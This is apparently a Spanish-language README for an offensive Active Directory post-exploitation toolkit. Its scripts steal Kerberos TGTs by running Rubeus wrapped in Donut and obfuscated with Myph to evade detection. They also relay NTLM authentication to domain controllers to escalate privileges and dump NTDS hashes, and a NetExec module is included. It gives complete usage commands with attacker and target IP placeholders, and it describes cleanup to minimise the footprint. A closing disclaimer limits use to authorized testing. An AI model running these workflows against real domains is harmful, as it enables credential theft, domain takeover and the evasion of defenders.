
Herramienta automatizada de post-explotación de Active Directory para extracción de tickets Kerberos, ataques de relay NTLM y movimiento lateral mediante integración con NetExec, Impacket y Donut.
Este repositorio contiene una colección de scripts orquestadores en Python diseñados para evaluaciones de seguridad y pruebas de penetración en entornos Active Directory. Estas herramientas están específicamente diseñadas para escenarios de post-explotación donde ya se ha obtenido acceso administrativo local en una estación de trabajo o servidor comprometido, y el objetivo es realizar movimiento lateral o escalada de privilegios hacia el dominio Active Directory más amplio.
Al automatizar flujos de trabajo que involucran utilidades de seguridad comunes como NetExec, Impacket, Donut y BloodyAD, estos scripts simplifican procesos complejos de varios pasos en operaciones repetibles de un solo comando.
Los scripts requieren que las siguientes herramientas estén instaladas en el sistema anfitrión y disponibles en el PATH del sistema:
nxc)impacket-ntlmrelayx, impacket-secretsdump, impacket-ticketConverter)awk, base64Para un formato mejorado de salida en consola, instale los siguientes paquetes:
pip install colorama rich
harpyTGT.py)Este script automatiza la extracción de un Ticket de Concesión de Tickets (TGT) de Kerberos desde una sesión de Windows iniciada y lo convierte a un formato ccache compatible con Linux.
Rubeus.exe a través de Donut, aplica ofuscación usando Myph y ejecuta el binario resultante en el host de destino utilizando tareas programadas (schtask_as) o mmcexec.Ejecución estándar (El usuario objetivo tiene privilegios administrativos):
./harpyTGT.py -t <IP_OBJETIVO> -u <USUARIO_ADMIN_LOCAL> -p <CONTRASEÑA_ADMIN_LOCAL> -U <USUARIO_OBJETIVO> -r </ruta/a/Rubeus.exe>
Ejecución alternativa (El usuario objetivo carece de privilegios administrativos):
./harpyTGT.py -t <IP_OBJETIVO> -u <USUARIO_ADMIN_LOCAL> -p <CONTRASEÑA_ADMIN_LOCAL> -U <USUARIO_OBJETIVO> -r </ruta/a/Rubeus.exe> --no-target-admin --attacker-ip <IP_ATACANTE>

harpyRelay.py)Este script coordina ataques de relay NTLM dirigidos a políticas de firma SMB o LDAP mal configuradas en Controladores de Dominio para lograr escalada de privilegios a nivel de dominio o realizar un volcado de la base de datos NTDS (DCSync).
ntlmrelayx, desencadena una solicitud de autenticación desde el cliente comprometido a través de NetExec, monitorea la salida en busca de explotación exitosa y vuelca los hashes del dominio. La herramienta contiene rutinas de limpieza automatizadas para minimizar la huella en el dominio objetivo.Flujo LDAPS (Estándar):
./harpyRelay.py --target-host <IP_CLIENTE> --local-user <ADMIN_LOCAL> --local-pass <CONTRASEÑA_LOCAL> --domain-admin-user <ADMIN_DOMINIO> --attacker-ip <IP_ATACANTE> --dc-ip <IP_DC> --domain <DOMINIO.LOCAL>
Flujo LDAP (Flujo alternativo cuando LDAPS no está disponible):
./harpyRelay.py --target-host <IP_CLIENTE> --local-user <ADMIN_LOCAL> --local-pass <CONTRASEÑA_LOCAL> --domain-admin-user <ADMIN_DOMINIO> --attacker-ip <IP_ATACANTE> --dc-ip <IP_DC> --domain <DOMINIO.LOCAL> --no-ldaps

stealTGTUn módulo personalizado para NetExec (nxc) diseñado para extraer el Ticket de Concesión de Tickets (TGT) de Kerberos de un usuario específico que ha iniciado sesión en la máquina objetivo.
El módulo interactúa a través de mmcexec como SYSTEM, automatizando la generación de un payload evasivo (encapsulando Rubeus con Donut y Myph), ejecutándolo en memoria, capturando la salida del ticket en Base64 y convirtiéndolo de forma transparente en un archivo .ccache listo para usar en Linux.
El módulo verifica automáticamente que las siguientes utilidades estén instaladas y disponibles en su $PATH:
donutmyphimpacket-ticketConverterPara cargar el módulo externo en NetExec, copie el script stealTGT.py en su directorio local de módulos de NetExec:
cp stealTGT.py ~/.nxc/modules/
netexec smb <IP_OBJETIVO> -u <USUARIO_ADMIN> -p <CONTRASEÑA_ADMIN> --local-auth -M stealTGT -o USER=<USUARIO_OBJETIVO> RUBEUS=/ruta/a/Rubeus.exe
Opciones del módulo (-o):
USER: El nombre de usuario de la sesión iniciada actualmente de la cual desea cosechar el TGT (ej., jdoe).RUBEUS: La ruta local en su máquina atacante donde se encuentra el binario legítimo Rubeus.exe.

bloodyad o netexec una vez que las operaciones concluyen.AVISO IMPORTANTE: Este repositorio está destinado estrictamente a auditorías de seguridad autorizadas, investigación de vulnerabilidades y fines educativos. Ejecutar estas herramientas contra infraestructura de producción sin autorización previa, explícita y por escrito de los propietarios del sistema está estrictamente prohibido. El autor no asume ninguna responsabilidad por uso indebido, daños colaterales o consecuencias legales derivadas del despliegue de este software.